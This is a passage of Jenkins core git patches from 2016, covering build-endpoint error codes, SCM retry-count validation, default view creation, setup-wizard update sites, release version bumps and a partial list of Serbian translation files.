+ }); + JenkinsRule.WebClient wc = j.createWebClient(); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); // ParametersDefinitionProperty/index.jelly sends a 405 but really it is OK + // Control case: admin can use default value. + j.submit(wc.login("admin").getPage(p, "build?delay=0sec").getFormByName("parameters")); + j.waitUntilNoActivity(); + FreeStyleBuild b1 = p.getLastBuild(); + assertEquals(1, b1.getNumber()); + j.assertLogContains("I heard about a s3cr3t!", j.assertBuildStatusSuccess(b1)); + // Another control case: anyone can enter a different value. + HtmlForm form = wc.login("dev").getPage(p, "build?delay=0sec").getFormByName("parameters"); + HtmlPasswordInput input = form.getInputByName("value"); + input.setText("rumor"); + j.submit(form); + j.waitUntilNoActivity(); + FreeStyleBuild b2 = p.getLastBuild(); + assertEquals(2, b2.getNumber()); + j.assertLogContains("I heard about a rumor!", j.assertBuildStatusSuccess(b2)); + // Test case: anyone can use default value. + j.submit(wc.login("dev").getPage(p, "build?delay=0sec").getFormByName("parameters")); + j.waitUntilNoActivity(); + FreeStyleBuild b3 = p.getLastBuild(); + assertEquals(3, b3.getNumber()); + j.assertLogContains("I heard about a s3cr3t!", j.assertBuildStatusSuccess(b3)); + // Another control case: blank values. + form = wc.login("dev").getPage(p, "build?delay=0sec").getFormByName("parameters"); + input = form.getInputByName("value"); + input.setText(""); + j.submit(form); + j.waitUntilNoActivity(); + FreeStyleBuild b4 = p.getLastBuild(); + assertEquals(4, b4.getNumber()); + j.assertLogContains("I heard about a !", j.assertBuildStatusSuccess(b4)); + } + } -- GitLab From 9224151cf56b2f0f7db426dd8c79f559fbdec263 Mon Sep 17 00:00:00 2001 From: godfath3r Date: Sun, 3 Jul 2016 16:51:22 +0300 Subject: [PATCH 207/811] [JENKINS-36193] Raise exception when trying to build a job that is disabled. (cherry picked from commit ab26fdbebcb2fed07c144cd1ae918d516ffee941) --- .../src/main/java/jenkins/model/ParameterizedJobMixIn.java | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java b/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java index 40e904eecd..40fa6503a8 100644 --- a/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java +++ b/core/src/main/java/jenkins/model/ParameterizedJobMixIn.java @@ -52,7 +52,7 @@ import java.util.Map; import javax.annotation.CheckForNull; import javax.servlet.ServletException; import static javax.servlet.http.HttpServletResponse.SC_CREATED; -import static javax.servlet.http.HttpServletResponse.SC_INTERNAL_SERVER_ERROR; +import static javax.servlet.http.HttpServletResponse.SC_CONFLICT; import jenkins.util.TimeDuration; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; @@ -178,7 +178,7 @@ public abstract class ParameterizedJobMixIn & Param } if (!asJob().isBuildable()) { - throw HttpResponses.error(SC_INTERNAL_SERVER_ERROR, new IOException(asJob().getFullName() + " is not buildable")); + throw HttpResponses.error(SC_CONFLICT, new IOException(asJob().getFullName() + " is not buildable")); } // if a build is parameterized, let that take over @@ -215,6 +215,9 @@ public abstract class ParameterizedJobMixIn & Param hudson.model.BuildAuthorizationToken.checkPermission(asJob(), asJob().getAuthToken(), req, rsp); ParametersDefinitionProperty pp = asJob().getProperty(ParametersDefinitionProperty.class); + if (!asJob().isBuildable()) { + throw HttpResponses.error(SC_CONFLICT, new IOException(asJob().getFullName() + " is not buildable!")); + } if (pp != null) { pp.buildWithParameters(req, rsp, delay); } else { -- GitLab From b938d641e256e624587f72bddcc9bcb8ae3d3793 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 15 Jul 2016 17:33:29 +0300 Subject: [PATCH 208/811] [JENKINS-36193] - Add direct unit test for the issue (cherry picked from commit 8a330acc5eba2697a671d5d6c13d7d7cb90e723e) --- .../model/ParameterizedJobMixInTest.java | 65 +++++++++++++++++++ 1 file changed, 65 insertions(+) create mode 100644 test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java diff --git a/test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java b/test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java new file mode 100644 index 0000000000..d6a9715585 --- /dev/null +++ b/test/src/test/java/jenkins/model/ParameterizedJobMixInTest.java @@ -0,0 +1,65 @@ +/* + * The MIT License + * + * Copyright (c) 2016 Oleg Nenashev. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.model; + +import com.gargoylesoftware.htmlunit.html.HtmlPage; +import hudson.model.FreeStyleProject; +import hudson.model.ParametersDefinitionProperty; +import hudson.model.StringParameterDefinition; +import java.io.IOException; +import javax.servlet.http.HttpServletResponse; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; + +/** + * Tests of {@link ParameterizedJobMixIn}. + * @author Oleg Nenashev + */ +public class ParameterizedJobMixInTest { + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + public void doBuild_shouldFailWhenInvokingDisabledProject() throws Exception { + final FreeStyleProject project = j.createFreeStyleProject(); + project.doDisable(); + + final JenkinsRule.WebClient webClient = j.createWebClient(); + webClient.assertFails(project.getUrl() + "build", HttpServletResponse.SC_CONFLICT); + } + + @Test + @Issue("JENKINS-36193") + public void doBuildWithParameters_shouldFailWhenInvokingDisabledProject() throws Exception { + final FreeStyleProject project = j.createFreeStyleProject(); + project.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("FOO", "BAR"))); + project.doDisable(); + + final JenkinsRule.WebClient webClient = j.createWebClient(); + webClient.assertFails(project.getUrl() + "buildWithParameters", HttpServletResponse.SC_CONFLICT); + } +} -- GitLab From 8def8da7884c8a6a0a17095b1adbee555f47df66 Mon Sep 17 00:00:00 2001 From: godfath3r Date: Thu, 14 Jul 2016 20:18:45 +0300 Subject: [PATCH 209/811] [JENKINS-36387] Catch exception when scm retry count field is empty. (#2433) * [JENKINS-36387] Catch exception when scm retry count field is empty. * Add test for JENKINS-36387 * [JENKINS-36387] Move test in correct place * [JENKINS-36387] Reproduce actuall behaviour (cherry picked from commit 439426236f52f905df782c1467c96c7bda8a746a) --- .../GlobalSCMRetryCountConfiguration.java | 5 +- .../GlobalSCMRetryCountConfigurationTest.java | 70 +++++++++++++++++++ 2 files changed, 74 insertions(+), 1 deletion(-) create mode 100644 test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java diff --git a/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java b/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java index 43d1f06a3a..3e4d3afafa 100644 --- a/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java +++ b/core/src/main/java/jenkins/model/GlobalSCMRetryCountConfiguration.java @@ -24,6 +24,7 @@ package jenkins.model; import hudson.Extension; +import net.sf.json.JSONException; import net.sf.json.JSONObject; import org.jenkinsci.Symbol; import org.kohsuke.stapler.StaplerRequest; @@ -49,6 +50,8 @@ public class GlobalSCMRetryCountConfiguration extends GlobalConfiguration { return true; } catch (IOException e) { throw new FormException(e,"quietPeriod"); + } catch (JSONException e) { + throw new FormException(e.getMessage(), "quietPeriod"); } } -} \ No newline at end of file +} diff --git a/test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java b/test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java new file mode 100644 index 0000000000..9ea926f264 --- /dev/null +++ b/test/src/test/java/jenkins/model/GlobalSCMRetryCountConfigurationTest.java @@ -0,0 +1,70 @@ +/* + * The MIT License + * + * Copyright (c) 2016 + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.model; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.Assert.assertThat; + +import hudson.model.Descriptor; +import net.sf.json.JSONObject; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; +import org.kohsuke.stapler.Stapler; + +/** + * Tests of {@link GlobalSCMRetryCountConfiguration}. + * @author Panagiotis Galatsanos + */ +public class GlobalSCMRetryCountConfigurationTest { + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + @Issue("JENKINS-36387") + public void shouldExceptOnNullScmRetryCount() throws Exception { + try { + JSONObject json = new JSONObject(); + GlobalSCMRetryCountConfiguration gc = (GlobalSCMRetryCountConfiguration) + GlobalConfiguration.all().getDynamic("jenkins.model.GlobalSCMRetryCountConfiguration"); + + json.element("scmCheckoutRetryCount", 5); + gc.configure(Stapler.getCurrentRequest(), json); + assertThat("Wrong value, it should be equal to 5", + j.getInstance().getScmCheckoutRetryCount(), equalTo(5)); + + json.element("scmCheckoutRetryCount", 3); + gc.configure(Stapler.getCurrentRequest(), json); + assertThat("Wrong value, it should be equal to 3", + j.getInstance().getScmCheckoutRetryCount(), equalTo(3)); + + JSONObject emptyJson = new JSONObject(); + gc.configure(Stapler.getCurrentRequest(), emptyJson); + } catch (Descriptor.FormException e) { + assertThat("Scm Retry count value changed! This shouldn't happen.", + j.getInstance().getScmCheckoutRetryCount(), equalTo(3)); + } + } +} -- GitLab From 1e8063fc78f34e97d3faa43c1e534c1c672889bc Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Wed, 27 Jul 2016 12:31:29 -0400 Subject: [PATCH 210/811] [JENKINS-36908] Make sure that the All view is created (#2472) * [JENKINS-36908] Make sure that the All view is created * Revert old All view behaviour * Fix changed comment * Tests * Delete unwanted file. (cherry picked from commit 404384eefe9e5abf65ae68b4b1bf0accf3dff8eb) --- core/src/main/java/jenkins/model/Jenkins.java | 5 +---- test/src/test/java/hudson/model/ViewTest.java | 16 ++++++++++++++++ .../ViewTest/testAllViewCreatedIfNoPrimary.zip | Bin 0 -> 364 bytes .../ViewTest/testAllViewNotCreatedIfPrimary.zip | Bin 0 -> 378 bytes 4 files changed, 17 insertions(+), 4 deletions(-) create mode 100644 test/src/test/resources/hudson/model/ViewTest/testAllViewCreatedIfNoPrimary.zip create mode 100644 test/src/test/resources/hudson/model/ViewTest/testAllViewNotCreatedIfPrimary.zip diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 61f22a4f90..a2d54fe19b 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2855,15 +2855,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // initialize views by inserting the default view if necessary // this is both for clean Jenkins and for backward compatibility. - if(views.size()==0) { + if(views.size()==0 || primaryView==null) { View v = new AllView(Messages.Hudson_ViewName()); setViewOwner(v); views.add(0,v); primaryView = v.getViewName(); } - if (primaryView==null) { - primaryView = views.get(0).getViewName(); - } if (useSecurity!=null && !useSecurity) { // forced reset to the unsecure mode. diff --git a/test/src/test/java/hudson/model/ViewTest.java b/test/src/test/java/hudson/model/ViewTest.java index 36841da295..82314e9841 100644 --- a/test/src/test/java/hudson/model/ViewTest.java +++ b/test/src/test/java/hudson/model/ViewTest.java @@ -64,6 +64,7 @@ import org.jvnet.hudson.test.JenkinsRule.WebClient; import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.MockFolder; import org.jvnet.hudson.test.TestExtension; +import org.jvnet.hudson.test.recipes.LocalData; import org.kohsuke.stapler.DataBoundConstructor; /** @@ -505,5 +506,20 @@ public class ViewTest { private void assertCheckJobName(ViewGroup context, String name, FormValidation.Kind expected) { assertEquals(expected, context.getPrimaryView().doCheckJobName(name).kind); } + + + @Test + @Issue("JENKINS-36908") + @LocalData + public void testAllViewCreatedIfNoPrimary() throws Exception { + assertNotNull(j.getInstance().getView("All")); + } + + @Test + @Issue("JENKINS-36908") + @LocalData + public void testAllViewNotCreatedIfPrimary() throws Exception { + assertNull(j.getInstance().getView("All")); + } } diff --git a/test/src/test/resources/hudson/model/ViewTest/testAllViewCreatedIfNoPrimary.zip b/test/src/test/resources/hudson/model/ViewTest/testAllViewCreatedIfNoPrimary.zip new file mode 100644 index 0000000000000000000000000000000000000000..7e32a82640eaa9259f3a158b50a35a5c216737c0 GIT binary patch literal 364 zcmWIWW@Zs#U|`^2IN|-Qab1q9taNshJVKjWm1;*WL{e{8$4rDan_TltcT z`);c*ENi;I?Zm57l|imq96^6h1^)?Id`yJ*QituH>I30YCcM99W}GmzXIpkVd)2Wu zL4Rh(be*qqbK1)g;LXS+$BZi+B!D5pzyS0u!;(f23prF+A)$g6A_3m4Y#^14Ko|g| I*+7~Z0H8>MF#rGn literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/model/ViewTest/testAllViewNotCreatedIfPrimary.zip b/test/src/test/resources/hudson/model/ViewTest/testAllViewNotCreatedIfPrimary.zip new file mode 100644 index 0000000000000000000000000000000000000000..397d6d14a44666ed3e5f0f52abb61fe3e055f76d GIT binary patch literal 378 zcmWIWW@Zs#U|`^2PzwI-;S$Mw`~r~I&d9*P#UR6woS&DLnXXrnn-dzs$-w*|e@3`m z!Hn?I3T_5QmajlXV7<8k8?z1@h}`)rdPu}3G;2HGCL`5gF5NA6du#JpH;LTa{P@Xx zZTHX>&JKq!-+g&+?w4mK7KJPudH1cG_cU1b!R-r?|6{}F%kMruJu8{(uW_l&9?g~u z?%gw|Yo6nr=KSKplh;4BgE~87X4racS(mu(w2BVvLiVGqE4($YKArOF*Aa8(p5uFd zWR&hqU9~-rCD%V=xuL-9eT6)0^B!*fQ+udotBGS|*@6OwUa>uVzpiJT{PAg#~waJu@?4|z~Xl&}%tYZxDW@M6M#uX|O!0=&U0Q#L_Nh64b97e2= XFhUET0B=?{kV-}%3;@z1Ak7Q_)<=uH literal 0 HcmV?d00001 -- GitLab From e0a87a120542e00065646f44a567770ff768696d Mon Sep 17 00:00:00 2001 From: Keith Zantow Date: Tue, 26 Jul 2016 16:51:50 -0400 Subject: [PATCH 211/811] [FIXED JENKINS-34882] Honor non-default update sites in setup wizard (#2469) * [FIXED JENKINS-34882] Honor non-default update sites during install * Fix pluginSetupWizard tests * Fix lint (cherry picked from commit 83e0fbf0a95f24b1669ead05f5e1c68e30ab8ddc) --- .../resources/jenkins/install/SetupWizard/wizard-ui.jelly | 2 ++ war/src/main/js/pluginSetupWizardGui.js | 7 +++---- war/src/test/js/pluginSetupWizard-spec.js | 3 +++ 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/core/src/main/resources/jenkins/install/SetupWizard/wizard-ui.jelly b/core/src/main/resources/jenkins/install/SetupWizard/wizard-ui.jelly index 93858a2596..b25f58b273 100644 --- a/core/src/main/resources/jenkins/install/SetupWizard/wizard-ui.jelly +++ b/core/src/main/resources/jenkins/install/SetupWizard/wizard-ui.jelly @@ -1,6 +1,8 @@ -- GitLab From 705996566c9157c85320cb8b60ee7923be77642d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 17 Sep 2016 21:59:24 -0700 Subject: [PATCH 306/811] Noting #2495, #2539, #2542 --- changelog.html | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index e94c5449d5..3e3dfd445c 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,15 @@ Upcoming changes

                  What's new in 2.22 (2016/09/11)

                  -- GitLab From 09df83be00e2f966f12aae8f3fa234c9a425a4b9 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Sun, 18 Sep 2016 09:34:47 -0700 Subject: [PATCH 307/811] Let Maven decide the appropriate amount of concurrency --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 73d657c664..0e698b9e5d 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -38,7 +38,7 @@ timestampedNode('java') { // The -Dmaven.repo.local=${pwd()}/.repository means that Maven will create a // .repository directory at the root of the build (which it gets from the // pwd() Workflow call) and use that for the local Maven repository. - sh "mvn -Pdebug -U clean install ${runTests ? '-Dmaven.test.failure.ignore=true -Dconcurrency=1' : '-DskipTests'} -V -B -Dmaven.repo.local=${pwd()}/.repository" + sh "mvn -Pdebug -U clean install ${runTests ? '-Dmaven.test.failure.ignore=true' : '-DskipTests'} -V -B -Dmaven.repo.local=${pwd()}/.repository" } } } -- GitLab From 7c69ac8c816d2ba42bd239c80489c829e1046d01 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Sep 2016 15:13:24 -0700 Subject: [PATCH 308/811] [maven-release-plugin] prepare release jenkins-2.23 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f1c05303da..af6d06adf0 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.23-SNAPSHOT + 2.23 cli diff --git a/core/pom.xml b/core/pom.xml index c0628ab4cd..4f584f4073 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23-SNAPSHOT + 2.23 jenkins-core diff --git a/pom.xml b/pom.xml index 5aa555aa0f..8f0afab39c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23-SNAPSHOT + 2.23 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.23 diff --git a/test/pom.xml b/test/pom.xml index ca8dd51f21..17d5027b64 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23-SNAPSHOT + 2.23 test diff --git a/war/pom.xml b/war/pom.xml index f9f37414a1..cd36c3156f 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23-SNAPSHOT + 2.23 jenkins-war -- GitLab From 7a92a23e7a69662d7c71b18427783b68c2932f19 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Sep 2016 15:13:24 -0700 Subject: [PATCH 309/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index af6d06adf0..af431a1bfc 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.23 + 2.24-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 4f584f4073..bf7a473371 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23 + 2.24-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 8f0afab39c..96e28da457 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23 + 2.24-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.23 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 17d5027b64..f81311111e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23 + 2.24-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index cd36c3156f..407474c3b2 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.23 + 2.24-SNAPSHOT jenkins-war -- GitLab From b829e6e7d0fe674438823c9bbf9e19cc04177c78 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 18 Sep 2016 15:20:36 -0700 Subject: [PATCH 310/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 3e3dfd445c..6793890cf6 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                  What's new in 2.23 (2016/09/18)

                  • Fix JS/browser memory leak on Jenkins dashboard. @@ -66,7 +71,6 @@ Upcoming changes Properly enable submit button on New Item page when choosing item type first. (issue 36539)
                  -

                  What's new in 2.22 (2016/09/11)

                  • -- GitLab From 978bef5bdf4796d73fcb59489166e9af48854a60 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aleksandar=20=C4=90uri=C4=8Din?= Date: Mon, 19 Sep 2016 15:27:26 -0700 Subject: [PATCH 311/811] Serbian [sr] translation of properties files --- .../hudson/AboutJenkins/index_sr.properties | 8 + .../resources/hudson/Messages_sr.properties | 47 +++ .../message_sr.properties | 3 + .../PluginUpdateMonitor/message_sr.properties | 3 + .../PluginManager/advanced_sr.properties | 20 ++ .../PluginManager/available_sr.properties | 5 + .../PluginManager/checkUpdates_sr.properties | 6 + .../hudson/PluginManager/check_sr.properties | 4 + .../hudson/PluginManager/index_sr.properties | 8 + .../PluginManager/installed_sr.properties | 29 ++ .../PluginManager/sidepanel_sr.properties | 5 + .../hudson/PluginManager/sites_sr.properties | 5 + .../hudson/PluginManager/tabBar_sr.properties | 7 + .../hudson/PluginManager/table_sr.properties | 19 ++ .../message_sr.properties | 3 + .../thirdPartyLicenses_sr.properties | 5 + .../PluginWrapper/uninstall_sr.properties | 5 + .../ProxyConfiguration/config_sr.properties | 21 ++ .../hudson/cli/CLIAction/index_sr.properties | 5 + .../hudson/cli/Messages_sr.properties | 68 ++++ .../index_sr.properties | 12 + .../message_sr.properties | 5 + .../MemoryUsageMonitor/index_sr.properties | 7 + .../hudson/diagnosis/Messages_sr.properties | 5 + .../message_sr.properties | 4 + .../OldDataMonitor/manage_sr.properties | 18 ++ .../OldDataMonitor/message_sr.properties | 5 + .../message_sr.properties | 4 +- .../message_sr.properties | 5 + .../hudson/fsp/Messages_sr.properties | 3 + .../hudson/init/impl/Messages_sr.properties | 4 + .../hudson/lifecycle/Messages_sr.properties | 8 + .../_restart_sr.properties | 5 + .../WindowsInstallerLink/index_sr.properties | 10 + .../LogRecorder/configure_sr.properties | 8 + .../logging/LogRecorder/delete_sr.properties | 4 + .../logging/LogRecorder/index_sr.properties | 3 + .../LogRecorder/sidepanel_sr.properties | 6 + .../LogRecorderManager/all_sr.properties | 7 + .../LogRecorderManager/feeds_sr.properties | 5 + .../LogRecorderManager/index_sr.properties | 14 + .../LogRecorderManager/levels_sr.properties | 9 + .../LogRecorderManager/new_sr.properties | 3 + .../sidepanel_sr.properties | 8 + .../hudson/logging/Messages_sr.properties | 4 + .../config_sr.properties | 3 + .../hudson/markup/Messages_sr.properties | 3 + .../model/AbstractBuild/changes_sr.properties | 3 + .../model/AbstractBuild/index_sr.properties | 17 +- .../AbstractBuild/sidepanel_sr.properties | 4 +- .../model/AbstractBuild/tasks_sr.properties | 15 +- .../model/AbstractItem/delete_sr.properties | 5 + .../AbstractItem/noWorkspace_sr.properties | 14 + .../descriptionForm_sr.properties | 3 + .../editDescription_sr.properties | 3 + .../AbstractModelObject/error_sr.properties | 4 + .../summary_sr.properties | 3 + .../AbstractProject/changes_sr.properties | 7 + .../configure-common_sr.properties | 13 + .../model/AbstractProject/main_sr.properties | 6 +- .../makeDisabled_sr.properties | 5 + .../AbstractProject/sidepanel_sr.properties | 12 +- .../wipeOutWorkspaceBlocked_sr.properties | 4 + .../model/AgentSlave/config_sr.properties | 3 + .../model/AllView/newViewDetail_sr.properties | 3 + .../hudson/model/AllView/noJob_sr.properties | 6 +- .../config_sr.properties | 5 + .../config_sr.properties | 8 + .../UpstreamCause/description_sr.properties | 5 + .../Cause/UserCause/description_sr.properties | 3 + .../UserIdCause/description_sr.properties | 4 + .../model/CauseAction/summary_sr.properties | 3 + .../config_sr.properties | 5 + .../model/Computer/_script_sr.properties | 4 + .../model/Computer/builds_sr.properties | 3 + .../model/Computer/configure_sr.properties | 6 + .../model/Computer/delete_sr.properties | 5 + .../hudson/model/Computer/index_sr.properties | 13 + .../model/Computer/markOffline_sr.properties | 5 + .../Computer/setOfflineCause_sr.properties | 5 + .../model/Computer/sidepanel_sr.properties | 10 + .../model/ComputerSet/_new_sr.properties | 5 + .../model/ComputerSet/configure_sr.properties | 5 + .../model/ComputerSet/index_sr.properties | 7 + .../model/ComputerSet/new_sr.properties | 4 + .../model/ComputerSet/sidepanel_sr.properties | 6 + .../DirectoryBrowserSupport/dir_sr.properties | 5 + .../EnvVarsHtml/index_sr.properties | 4 + .../config_sr.properties | 4 + .../FileParameterValue/value_sr.properties | 3 + .../model/Fingerprint/index_sr.properties | 8 + .../hudson/model/JDK/config_sr.properties | 3 + .../model/Job/buildTimeTrend_sr.properties | 10 + .../hudson/model/Job/configure_sr.properties | 8 + .../hudson/model/Job/index_sr.properties | 12 + .../hudson/model/Job/permalinks_sr.properties | 2 +- .../hudson/model/Job/rename_sr.properties | 8 + .../model/Job/requirePOST_sr.properties | 6 + .../hudson/model/Label/index_sr.properties | 5 + .../model/Label/sidepanel_sr.properties | 6 + .../ListView/configure-entries_sr.properties | 14 + .../ListView/newJobButtonBar_sr.properties | 3 + .../ListView/newViewDetail_sr.properties | 3 + .../model/LoadStatistics/main_sr.properties | 48 +++ .../hudson/model/Messages_sr.properties | 292 ++++++++++++++++++ .../model/MyView/newViewDetail_sr.properties | 3 + .../hudson/model/MyView/noJob_sr.properties | 3 + .../MyViewsProperty/config_sr.properties | 4 + .../MyViewsProperty/newView_sr.properties | 3 + .../NoFingerprintMatch/index_sr.properties | 8 + .../ParametersAction/index_sr.properties | 4 + .../config-details_sr.properties | 3 + .../index_sr.properties | 5 + .../config_sr.properties | 5 + .../Permalink/link_sr.properties | 2 +- .../ProxyView/configure-entries_sr.properties | 4 + .../ProxyView/newViewDetail_sr.properties | 4 + .../Run/KeepLogBuildBadge/badge_sr.properties | 3 + .../model/Run/artifacts-index_sr.properties | 3 + .../hudson/model/Run/configure_sr.properties | 6 + .../model/Run/confirmDelete_sr.properties | 5 + .../hudson/model/Run/console_sr.properties | 5 +- .../model/Run/delete-retry_sr.properties | 5 + .../hudson/model/Run/delete_sr.properties | 2 +- .../hudson/model/Run/logKeep_sr.properties | 5 + .../config_sr.properties | 10 + .../model/Slave/help-launcher_sr.properties | 3 + .../config_sr.properties | 5 + .../hudson/model/TaskAction/log_sr.properties | 3 + .../config_sr.properties | 5 + .../model/TreeView/sidepanel2_sr.properties | 3 + .../ConnectionCheckJob/row_sr.properties | 2 +- .../CoreUpdateMonitor/message_sr.properties | 9 + .../DownloadJob/Failure/status_sr.properties | 4 + .../Installing/status_sr.properties | 3 + .../DownloadJob/Pending/status_sr.properties | 2 +- .../DownloadJob/Success/status_sr.properties | 3 + .../UpdateCenter/EnableJob/row_sr.properties | 3 + .../UpdateCenter/NoOpJob/row_sr.properties | 3 + .../Canceled/status_sr.properties | 3 + .../Failure/status_sr.properties | 3 + .../Pending/status_sr.properties | 2 +- .../Running/status_sr.properties | 3 + .../RestartJenkinsJob/row_sr.properties | 2 +- .../model/UpdateCenter/body_sr.properties | 6 +- .../model/UpdateCenter/index_sr.properties | 3 +- .../UpdateCenter/sidepanel_sr.properties | 6 +- .../UsageStatistics/global_sr.properties | 3 + .../hudson/model/User/builds_sr.properties | 3 + .../hudson/model/User/configure_sr.properties | 6 + 